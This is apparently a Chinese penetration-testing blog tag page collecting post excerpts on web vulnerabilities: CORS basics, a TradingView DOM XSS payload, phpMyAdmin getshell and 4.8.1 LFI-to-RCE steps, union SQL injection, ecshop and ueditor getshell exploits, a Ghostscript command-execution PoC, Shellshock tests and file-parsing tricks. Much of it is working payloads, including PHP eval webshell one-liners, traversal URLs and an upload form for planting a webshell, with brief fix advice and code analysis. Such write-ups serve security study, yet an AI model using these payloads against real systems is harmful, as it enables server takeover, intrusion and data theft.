Tag:渗透测试

Tag (渗透测试)'s result:

浅谈sop、cors和csp

0x00 SOP(同源策略) 协议、域名、端口相同。 简单说就是防止A网站读取B网站的cookie(资源)。 ie不受端口和授信范围(信任度)限制。 sop虽然增加了安全性,但在某些情况下(如子域间通信)造成了不便,这时候需要跨域: 1.document.domain 2. #片段标识 3. name 4. postMessage 5. jsonp 6. cors 7. Websocket <script><img><iframe><link><video><audio>等带有src属性的标签可以从不同的域加载资源,但不能读资源。 0x01 CORS(跨域资源共享) 允许浏览器向跨源服务器发XMLHttpRequest请求,突破了ajax只能同源的限制,并且和ajax代码一样,关键在服务器的cors配置。 客户端: var invocation = new XMLHttpRequest();var url = ‘http://bar.other/resources/public-data/’; function callOtherDomain() { if(invocation) { invocation.open(‘GET’, url, true); invocation.onreadystatechange = handler; invocation.send(); 或者判断浏览器: <!DOCTYPE html> <html> <head> <script type=”text/javascript” src=”./functions.js”></script> </head> <body> <script type=”text/javascript”> // Create the XHR object. function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); if (“withCredentials” in xhr) { // XHR for Chrome/Firefox/Opera/Safari. xhr.open(method, url, true); } else if (typeof XDomainRequest != “undefined”) { // XDomainRequest for IE. xhr = new XDomainRequest(); xhr.open(method, url); } else { // CORS not supported. xhr = null; } return xhr; } // Make the actual CORS request. function makeCorsRequest() { // All HTML5 Rocks properties support CORS. var url = ‘http://oss-cors-test.oss-cn-hangzhou.aliyuncs.com/test.txt’; var xhr = createCORSRequest(‘GET’, url); if (!xhr) { alert(‘CORS not supported’); return; } // Response handlers. xhr.onload = function() { var text = xhr.responseText; var title = text; alert(‘Response from CORS request to ‘ + url……

TradingView xss 0day 漏洞重现及分析

0x00 概述 近日,慢雾区传出js库TradingView xss 0day 漏洞,TradingView是多用于数字货币交易所、股票交易所的k线展示js库。   0x01 漏洞重现 Payload: #disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//   https://www.xxx.com/assets/chart/charting_library/static/tv-chart.630b704a2b9d0eaf1593.html#disabledFeatures=[]&enabledFeatures=[]&indicatorsFile=data:application/javascript,alert(‘xxx’)//   0x02 修复方案 修改charting_library/static/bundles/library.xxxxxxxxxx.js文件,使 getScript(“”)   0x03 漏洞分析 从payload的三个参数分析 漏洞文件: charting_library/static/bundles/library.xxxxxxxxxx.js 函数: getScript(urlParams.indicatorsFile)   D?$.getScript(urlParams.indicatorsFile).done(function(){ 此函数关键代码: jQuery.ajaxTransport( “script”, function( s ) {   // This transport only deals with cross domain requests if ( s.crossDomain ) { var script, callback; return { send: function( _, complete ) { script = jQuery( “<script>” ).prop( { charset: s.scriptCharset, src: s.url } ).on( “load error”, callback = function( evt ) { script.remove(); callback = null; if ( evt ) { complete( evt.type === “error” ? 404 : 200, evt.type ); } } );   // Use native DOM manipulation to avoid our domManip AJAX trickery document.head.appendChild( script[ 0 ] ); }, abort: function() { if ( callback ) { callback(); } } }; } } ); 动态创建<script>,远程加载url。 另外两个参数: function e() { JSON.parse(urlParams.disabledFeatures).forEach(function(e){t.setEnabled(e,!1)}), JSON.parse(urlParams.enabledFeatures).forEach(function(e){t.setEnabled(e,!0)}) } 要求为json即可。   0x04 结语 DOM XSS,可过服务端/客户端防御。 测试了几个都存在,可见影响范围非常广。   0x05 参考资料 https://mp.weixin.qq.com/s/yfbKf_5Nk2NXFl2-xlFqKg

phpmyadmin getshell大法

0x00 概述 整理phpmyadmin的两种getshell方法,后续有其他方法再更新。   0x01 select日志 show variables like ‘general%’; set global general_log = ‘ON’;# MySQL 返回的查询结果为空 (即零行)。 set global general_log_file = ‘C:/phpStudy/PHPTutorial/WWW/logshell.php’;# MySQL 返回的查询结果为空 (即零行)。 SELECT ‘<?php @eval($_POST[lsa]);?>’   0x02 into outfile 此法有局限性,必须secure_file_priv不为null && 为网站路径 show variables like “secure_file_priv”; 默认Null 尝试设置为网站目录: 需要修改my.ini secure_file_priv=’网站路径   0x03 其他 还有phpmyadmin4.8.x LFI to RCE   0x04 结语 phpmyadmin上述getshell方法都要登录,可尝试爆破。   0x05 参考资料 www.freebuf.com/column/173672.html  

phpmyadmin4.8.x LFI to RCE

0x00 概述 6月下旬,chamd5团队公开了phpmyadmin4.8的LFI漏洞(须登录),可导致RCE,使用url双重编码绕过限制进行文件包含,再包含session文件或数据库表frm文件即可RCE。   0x01 漏洞重现 环境:win7+xampp+phpmyadmin4.8.1 Payload: http://127.0.0.1:8888/phpmyadmin481/index.php?target=export.php%25%33%66/../../../../../../../../../windows/system.ini 成功包含system.ini。 进入下一阶段:命令执行 方式一:包含frm 先查看data文件路径:show variables like ‘%datadir%’; 在test库中新建pmatest1表,其中一个字段名设置成<?php @eval($_GET[‘lsa’]);?> 再包含mysql/data/test/pmatest1.frm即可rce, payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/pmatest1.frm 方式二:包含sess文件 利用php用文件存session的特性,在phpmyadmin里的操作都记录在sess_pmavalue中,该文件保存的路径视情况而定: xmapp中保存在 xampp/tmp/sess_pmavalue phpstudy: /phpstudy/PHPTutorial/tmp/tmp wamp: /wamp64/tmp 在Linux下,常见的文件路径为: /var/lib/php/session/ 在phpmyadmin中执行查询 SELECT ‘<?php @eval($_GET[lsa]); exit();?>’ 被记录在sess_pmavalue中 payload: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_08vi4klpgs54l05fqq5p34d4ia //因为export.php%3f当成了目录,所以要多一个../ /*使用绝对路径也可以,如: http://127.0.0.1:8888/phpmyadmin481/index.php?lsa=phpinfo();&target=export.php%253f/../../../../../../../../../../../../../../../../xampp/tmp/sess_fne7a5ah109htpaqndc5jpi8fn */ //不知为何用写入$_POST包含就会跳转首页……   0x02 漏洞分析 漏洞文件: .\index.php:55 // If we have a valid target, let’s load that script instead if (! empty($_REQUEST[‘target’]) && is_string($_REQUEST[‘target’]) && ! preg_match(‘/^index/’, $_REQUEST[‘target’]) && ! in_array($_REQUEST[‘target’], $target_blacklist) && Core::checkPageValidity($_REQUEST[‘target’]) ) { include $_REQUEST[‘target’]; exit; } target符合4个条件就会includ 1. 是字符串 2. 不以index开头 3. 不在 $target_blacklist名单里 4. 符合checkPageValidity函数要求   找checkPageValidity函数: libraries\classes\Core.php:443 public static function checkPageValidity(&$page, array $whitelist = []) { if (empty($whitelist)) { $whitelist = self::$goto_whitelist; } if (! isset($page) || !is_string($page)) { return false; }   if (in_array($page, $whitelist)) { return true; }   $_page = mb_substr( $page, 0, mb_strpos($page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   $_page = urldecode($page); $_page = mb_substr( $_page, 0, mb_strpos($_page . ‘?’, ‘?’) ); if (in_array($_page, $whitelist)) { return true; }   return false; } 需要返回true,三个if有一个满足true就ok了,都需要满足whitelist: class Core { /** * the whitelist for goto parameter……

浅谈union注入

0x00 概述 union注入是一种简单有效的注入方式,以前只是套公式或者sqlmap刷,此文简述其原理(侧重点在union select)。   0x01 union注入 环境:sqli-labs 1. 判断列数 order by / group by union select 要求两个表查询的字段数必须相同,否则报错(列名以第一个select为准) 2. 使原数据查询为空 如id=2改为id=-2或id=2000000查询不存在的数据则为空,就可以显示要查询的敏感数据(防止正常数据干扰) 3. 使用1,2,3,4,5占位 如union select 1,2,3,4,5判断出可以显示的位置(显示位),如果要求字段类型也要相同,则使用null代替数字。 4. 将数字替换成敏感数据 如union select 1,2,user(),database(),5   0x02 sqli-labs lesson 1 字符型注入 1. 判断列数 3对4错,列数3 Id=1‘ group by 3– – 2. 使原数据查询为空&&数字占位 Id=-1’ union select 1,2,3– – 显示位2 3 3. 替换显示位为敏感数据 id=-1′ union select 1,user(),database()– –   0x03 结语 union注入方便高效。

ecshop 2.x远程代码执行漏洞重现及分析

本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/ //本文漏洞分析部分利用的payload/exp来源于此文。 0x00 概述 8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。 0x01 影响范围 ecshop 2.x   0x02 漏洞重现 SQL注入: 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} RCE getshell: //工具https://github.com/theLSA/ecshop-getshell   0x03 修复方案 intval $arr[id]和$arr[num]   0x04 漏洞分析 报错注入payload: Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;} 环境:ecshop 2.7.3 漏洞文件: ecshop273\user.php:302 elseif ($action == ‘login’) { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS[‘_SERVER’][‘HTTP_REFERER’])) { $back_act = strpos($GLOBALS[‘_SERVER’][‘HTTP_REFERER’], ‘user.php’) ? ‘./index.php’ : $GLOBALS[‘_SERVER’][‘HTTP_REFERER’]; } else { $back_act = ‘user.php’; }   } $back_act参数来源于Referer,可控。 $smarty->assign(‘back_act’, $back_act); $smarty->display(‘user_passport.dwt’); 赋值展示 ecshop273\includes\cls_template.php:70 function assign($tpl_var, $value = ”) { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != ”) { $this->_var[$key] = $val; } } } else { if ($tpl_var != ”) { $this->_var[$tpl_var] = $value; } } }   function display($filename, $cache_id = ”) { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE);   $this->_checkfile = false; $out = $this->fetch($filename, $cache_id);   if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode(”, $k); } error_reporting($this->_errorlevel); $this->_seterror–;   echo $out; } 关键在于: $out = $this->fetch($filename, $cache_id);     if (strpos($out, $this->_echash) !==……

ueditor getshell漏洞重现及分析

0x00 概述 8月21日,网上爆出ueditor .net版本getshell漏洞,由于只校验ContentType而没校验文件后缀导致getshell。   0x01 漏洞重现 Payload: <form action=”http://www.xxx.com/controller.ashx?action=catchimage” enctype=”application/x-www-form-urlencoded” method=”POST”> <p>shell addr:<input type=”text” name=”source[]” /></p > <input type=”submit” value=”Submit” /> </form> 图片马x.jpg放在自己服务器上 提交http://www.domain.top/x.jpg?.aspx 返回: 菜刀连接:   0x02 修复方案 增加文件扩展名校验(白名单)   0x03 漏洞分析 ueditor1_4_3_3-utf8-net\utf8-net\net\controller.ashx <%@ WebHandler Language=”C#” Class=”UEditorHandler” %> using System; using System.Web; using System.IO; using System.Collections; using Newtonsoft.Json; public class UEditorHandler : IHttpHandler { public void ProcessRequest(HttpContext context) { Handler action = null; switch (context.Request[“action”]) { case “config”: action = new ConfigHandler(context); break; case “uploadimage”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“imageAllowFiles”), PathFormat = Config.GetString(“imagePathFormat”), SizeLimit = Config.GetInt(“imageMaxSize”), UploadFieldName = Config.GetString(“imageFieldName”) }); break; case “uploadscrawl”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = new string[] { “.png” }, PathFormat = Config.GetString(“scrawlPathFormat”), SizeLimit = Config.GetInt(“scrawlMaxSize”), UploadFieldName = Config.GetString(“scrawlFieldName”), Base64 = true, Base64Filename = “scrawl.png” }); break; case “uploadvideo”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“videoAllowFiles”), PathFormat = Config.GetString(“videoPathFormat”), SizeLimit = Config.GetInt(“videoMaxSize”), UploadFieldName = Config.GetString(“videoFieldName”) }); break; case “uploadfile”: action = new UploadHandler(context, new UploadConfig() { AllowExtensions = Config.GetStringList(“fileAllowFiles”), PathFormat = Config.GetString(“filePathFormat”), SizeLimit = Config.GetInt(“fileMaxSize”), UploadFieldName = Config.GetString(“fileFieldName”) }); break; case “listimage”: action =……

ghostscript远程命令执行漏洞重现

0x00 概述 8月22日,网上爆出ghostscript远程命令执行漏洞,发现者:Google Project Zero安全研究员Tavis Ormandy。通过构造包含恶意内容的图片可以造成远程代码执行(沙箱绕过)   0x01 影响范围 ghostscript, python PIL, Imagemagick Libmagick Graphicsmagick Gimp python-matplotlib texlive-core Texmacs latex2html latex2rtf 等使用ghostscript的应用。   0x02 漏洞重现 环境:debian 环境:vulhub 1.网站程序: 2. convert 也可以进入容器: 或者执行生成文件的payload: poc1.png: %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops   Tavis Ormandy也已经在Ubuntu和CentOS上确认了漏洞: Ubuntu: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef save legal { null restore } stopped { pop } if { legal } stopped { pop } if restore mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023   CentOS: $ *cat shellexec.jpeg* %!PS userdict /setpagedevice undef legal { null restore } stopped { pop } if legal mark /OutputFile (%pipe%id) currentdevice putdeviceprops $ *convert shellexec.jpeg whatever.gif* uid=1000(taviso) gid=1000(taviso) groups=1000(taviso),10(wheel) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023   0x03 修复方案 1.在ImageMagick policy.xml中禁用PostScript、EPS、PDF以及XPS解码器。 <policy domain =“coder”rights =“none”pattern =“PS”/> <policy domain =“coder”rights =“none”pattern =“EPS”/> <policy domain =“coder”rights =“none” pattern =“PDF”/> <policy domain =“coder”rights =“none”pattern =“XPS”/> 2.如非必要,直接卸载ghostscript。   0x04 结语 有兴趣可以了解下原理,发现者还有一个ghostscript的代码执行漏洞(CVE-2017-8291)。   0x05 参考资料 https://www.anquanke.com/post/id/157380 http://seclists.org/oss-sec/2018/q3/142    

重温经典:shellshock漏洞重现及分析

0x00 概述 2014年9月24日,网上爆出shellshock漏洞,掀起一阵波澜。 cve-2014-6721:由于数据没有和代码分离,导致bash的env在处理自动导入函数完成后继续执行后面的代码(命令)。 cve-2014-7169:利用语法报错绕过cve-2014-6721。 简单检测: 0. 查看bash版本是否<4.3 bash –version <4.3则可能存在漏洞   1. env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 如果输出了vulnerable则存在漏洞(6271)。   2. env X='() { (a)=>\’ sh -c “echo date”; cat echo 如果当前目录生成了echo文件并且文件内容就是当前时间,则存在漏洞(7169)   0x01 触发条件 服务允许用户定义环境变量。 服务会调用bash。(创建bash子进程) 服务调用子bash时加载了用户定义的环境变量。 //如CGI会把HTTP包头部字段env为临时环境变量,并在里面启动子bash,这样就触发了漏洞。   0x02影响范围 Bash<4.3 cgi,dhcp,openssh等可与bash交互的应用。   0x03 漏洞重现 环境:vulhub   0x04 修复方案 升级bash   0x05 漏洞分析 export a=aaa: 使变量a在子bash中也可见。 env a=aaa 设置环境变量a,同时export。 6721测试payload: env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” 以() {开头的定义是函数导出为环境变量,而漏洞bash在处理函数环境变量时并没以};结束,再执行了后面的代码“echo vulnerable”。 bash -c是创建子bash以触发漏洞(echo vulnerable)。 子bash(进程)在复制父bash(进程)会读取父bash(进程)所有环境变量并复制到自己的进程空间,过程中执行了函数体外的代码(命令)。 漏洞函数:parse_and_execute   7169测试payload: env X='() { (a)=>\’ sh -c “echo date”; cat echo X='() { (a)=>\’ X这个变量的值就是 () { (a)=>\,其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误),出错后,在缓冲区中就会只剩下了 “>\”这两个字符。于是,bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行。 相当于: >\ echo date 即>echo date 重定向,也就是 date > echo   0x06 结语 古老的漏洞,现在估计非常少了,但是运气爆发或许就碰到了呢。 Ps:在服务器领域占有不少份额的大多数FreeBSD 和NetBSD已经默认关闭了自动导入函数的功能,以应对未来可能出现的漏洞。   0x07 参考资料 https://wps2015.org/drops/drops/Shellshock漏洞回顾与分析测试.html https://yq.aliyun.com/articles/53608# https://coolshell.cn/articles/11973.html codefine.site/2509.html https://blog.csdn.net/u011721501/article/details/39558303 https://blog.csdn.net/Anprou/article/details/72819989 www.antiy.com/response/Bash Shellshock(cve-2014-6271)_V1.5.pdf www.91ri.org/10922.html

解析漏洞总结

先上一张脑图 //图片来源于网络   0x00 IIS5.x~6.x解析漏洞 1.创建.asp/.asa名的目录,该目录下任意文件都被解析成asp 2.创建asp;.jpg形式的文件名,被解析成asp //还可以尝试上传asa/cer/cdx类型的文件,都会被解析成asp   修复方案: 1.升级 2.设置正则防止上传恶意文件名的文件   0x01 IIS7.0/7.5解析漏洞 在默认fast-CGI开启下,上传一个名字为xxx.jpg,内容为 <?PHP fputs(fopen(‘shell.php’,’w’),'<?php eval($_POST[cmd])?>’);?> 的文件,然后访问xxx.jpg/.php,在这个目录下就会生成一句话木马 shell.php 原理同0x02的nginx解析漏洞,都是php cgi的问题。   0x02 nginx<8.03解析漏洞 /1.jpg/1.php /1.jpg/.php /1.jpg/%20\0.php 原理: Fast-CGI开启 注: fix_pathinfo=1的作用 当php遇到不存在的文件路径如“/1.a/2.b/3.c”时,则会去掉最后的“/3.c”,然后判断“/1.a/2.b”是否存在,若存在,则把“/1.a/2.b”当做文件,若“/1.a/2.b”仍不存在,则继续去掉“/2.b”,直到存在。 Nginx遇到php后缀不判断文件存在与否就交给PHP处理(apache先判断文件存在与否) Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xxx.com/test.jpg/xxx.php这个URL时,$fastcgi_script_name会被设置为“test.jpg/xxx.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI, 如果开启了fix_pathinfo这个选项,那么就会触发在PHP中的如下逻辑: PHP会认为SCRIPT_FILENAME是test.jpg,而xxx.php是PATH_INFO,所以就会将test.jpg作为PHP文件来解析了。 //高版本PHP有security.limit_extensions限制了解析后缀为.php 修复方案: 1. 升级 2. 禁止在上传文件目录下执行 php,在 nginx 虚拟机配置或者 fcgi.conf 配置加如下代码: if($request_filename~*(.*)\.php) { set$php_url$1; } if(!-e$php_url.php) { return403; } 3. fix_pathinfo=0   0x04 Nginx <8.03 空字节代码执行漏洞 /image/1.jpg%00.php Ngnix在遇到%00空字节时与后端FastCGI处理不一致,导致可以在图片中嵌入PHP代码然后通过访问xxx.jpg%00.php来执行其中的代码 影响版本: nginx 0.5.* nginx 0.6.* nginx 0.7 <= 0.7.65 nginx 0.8 <= 0.8.37   修复方案: 1.升级 2.禁止在上传文件目录下执行 php   0x05 apache解析漏洞 /xxx.php.php123.rar 原理: apache从右向左识别后缀进行解析,如果遇到不识别的后缀就继续往左识别直到遇到可以识别解析的后缀。 //不识别.rar //php3,php4,php5,pht,phtml也是可以被解析的 其余配置问题导致漏洞 (1)如果在 Apache 的 conf 里有这样一行配置 AddHandler php5-script .php 这时只要文件名里包含.php 即使文件名是 test2.php.jpg 也会以 php 来执行。 (2)如果在 Apache 的 conf 里有这样一行配置 AddType application/x-httpd-php .jpg 即使扩展名是 jpg,一样能以 php 方式执行。 修复方案 1.apache配置文件,禁止.php.这样的文件执行,配置文件里面加入 <Files ~ “.(php.|php3.)”> Order Allow,Deny Deny from all</Files> 2.用伪静态能解决这个问题,重写类似.php.*这类文件,打开apache的httpd.conf找到LoadModule rewrite_module modules/mod_rewrite.so 把#号去掉,重启apache,在网站根目录下建立.htaccess文件,代码如下: <IfModule mod_rewrite.c> RewriteEngine On RewriteRule .(php.|php3.) /index.php RewriteRule .(pHp.|pHp3.) /index.php RewriteRule .(phP.|phP3.) /index.php RewriteRule .(Php.|Php3.) /index.php RewriteRule .(PHp.|PHp3.) /index.php RewriteRule .(PhP.|PhP3.) /index.php RewriteRule .(pHP.|pHP3.) /index.php RewriteRule .(PHP.|PHP3.) /index.php </IfModule> Apache 能够认识的文件在 mime.types 文件里: //图片来自信安之路   0x06 其他 在windows环境下,xxx.jpg[空格] 或xxx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,黑客可以通过抓包,在文件名后加一个空格或者点绕过黑名单。 若上传成功,空格和点都会被windows自动消除,这样也可以getshell。 还有test.php:1.jpg test.php:: $DATA 如果在Apache中.htaccess可被执行.且可被上传.那可以尝试在.htaccess中写入: <FilesMatch “xxx.jpg”> SetHandler application/x-httpd-php </FilesMatch> 然后再上传xxx.jpg的木马, 这样xxx.jpg就可解析为php文件。 或 写入: AddTypeapplication/x-httpd-phpxxx .xxx就当php解析了   0x07 参考资料 https://www.cnblogs.com/shellr00t/p/6426856.html https://www.secpulse.com/archives/3750.html https://www.cnblogs.com/zlgxzswjy/p/6561229.html blog.51cto.com/wt7315/1865580 https://blog.csdn.net/u011781521/article/details/58630742 byd.dropsec.xyz/2017/11/09/Nginx解析漏洞原理分析/ https://blog.werner.wiki/file-resolution-vulnerability-nginx/ https://mp.weixin.qq.com/s?src=11&timestamp=1534340722&ver=1062&signature=UxIGWuCiKbteqgs*-l63NTisI-*OvUo7bKewbQtZ980ERwqOLR6y8iYeER1kYO82mk32usgfpNDFVF4SC-*FVQmxVjxHvpLO4Y3pmviJn-YMCu2q1eI-FBlr2b*bsfvk&new=1